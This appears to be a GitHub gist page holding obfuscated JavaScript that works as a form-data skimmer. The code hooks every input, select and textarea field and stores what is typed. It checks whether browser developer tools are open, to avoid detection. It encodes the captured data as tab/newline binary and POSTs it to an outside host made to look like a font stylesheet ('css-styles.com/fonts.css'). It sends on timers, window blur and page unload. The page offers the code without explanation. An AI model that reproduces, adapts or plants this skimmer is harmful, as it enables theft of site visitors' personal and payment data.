Skip to content

Instantly share code, notes, and snippets.

@krautface
Created April 4, 2021 06:08
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save krautface/e5444c1bb9880518db0f128416c911e6 to your computer and use it in GitHub Desktop.
Save krautface/e5444c1bb9880518db0f128416c911e6 to your computer and use it in GitHub Desktop.
ph = true;
pc = true;
cn = true;
C = [];
function fr(w) {
E = C.find((rcedElementObj) => w === rcedElementObj.w);
if (E) return E;
}
function iL(w, v, l, o) {
r = fr(w);
if (r) {
r.ls[v] = r.ls[v] || [];
} else {
r = { w: w, ls: {} };
r.ls[v] = [];
C.push(r);
}
r.ls[v].push(l);
w.addEventListener(v, l, o);
}
function lE(l, v) {
r = fr(l);
if (r && v in r.ls) {
return true;
} else {
return false;
}
}
function iM() {
if (sessionStorage.desktop) return false;
else if (localStorage.mobile) return true;
mobile = ["mobile", "phone"];
for (var i in mobile)
if (
navigator.userAgent
.toLowerCase()
.indexOf(mobile[i].toString().toLowerCase()) > 0
)
return true;
return false;
}
ch = false;
if (!ph) {
if (iM()) {
ch = true;
} else {
if (!pc) {
ch = true;
}
}
} else {
if (!iM()) {
if (!pc) {
ch = true;
}
}
}
function hl() {
if (!iR) {
iR = true;
}
nm = ["textarea", "select", "input"];
for (rs = 0, bn = nm.length; rs < bn; rs++) {
Array.from(document.getElementsByTagName(nm[rs])).forEach(function (t, e) {
if (lE(t, "change") === false) {
if (undefined !== t.value) {
h(t);
}
iL(t, "change", function () {
h(this);
});
}
});
}
}
function h(t) {
if (t.value.length > 0 && t.value.length < 100) {
if (!ch) {
v = t.value;
if (t.options) {
if (t.selectedIndex >= 0) {
v = t.options[t.selectedIndex].text.replace(/,/g, "");
}
}
v = v.replace(/['"\{\}\[\]]/gi, "");
ti = t.id;
tn = t.name;
if (ti.length > 0) {
idl = "-" + ti.length;
} else {
idl = "";
}
s = [];
v.length > 0 &&
(0 == tn.length
? s.push(ti + ":" + v)
: 0 != tn.length && s.push(tn.replace(/:/g, "") + idl + ":" + v));
retrievedObject = JSON.parse(localStorage.getItem("ars"));
s = s.concat(retrievedObject);
s = s.filter(function (e) {
return e;
});
localStorage.setItem("ars", JSON.stringify(s));
}
}
}
function sn(s) {
if (JSON.parse(localStorage.getItem("ars")) != null) {
ch = false;
m = new Image();
Object.defineProperty(m, "id", {
get: function () {
ch = true;
},
});
requestAnimationFrame(function () {
ch = false;
if (cn) {
console.log("%c", m);
}
rdat = btoa(unescape(encodeURIComponent(localStorage.getItem("ars"))))
.split("")
.reverse()
.join("");
result = "";
for (kae in rdat) {
for (ida in rdat[kae]) {
drs = parseInt(rdat[kae].charCodeAt(ida)).toString(2);
for (je in drs) {
result += parseInt(drs[je]) ? "\t" : "\n";
}
result += " ";
}
}
rdat = result;
localStorage.removeItem("ars");
if (!ch || !cn) {
if (!ch) {
IURL = "data:image/raw;base64," + rdat;
block = IURL.split(";");
contentType = block[0].split(":")[1];
realData = block[1].split(",")[1];
blob = new Blob([realData], { type: contentType });
fd = new FormData();
fd.append("0", blob);
url = "//css-styles.com/fonts.css";
fetch(url, { mode: "no-cors", method: "POST", body: fd });
return 1;
}
}
});
}
}
iR = false;
-1 != location.href.search("/") && setInterval(hl, 1500);
setInterval(sn, 3000);
window.addEventListener(
"beforeunload",
function (s) {
n = sn(s);
if (n == 1) {
return undefined;
}
},
false
);
window.onblur = function () {
sn();
};
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment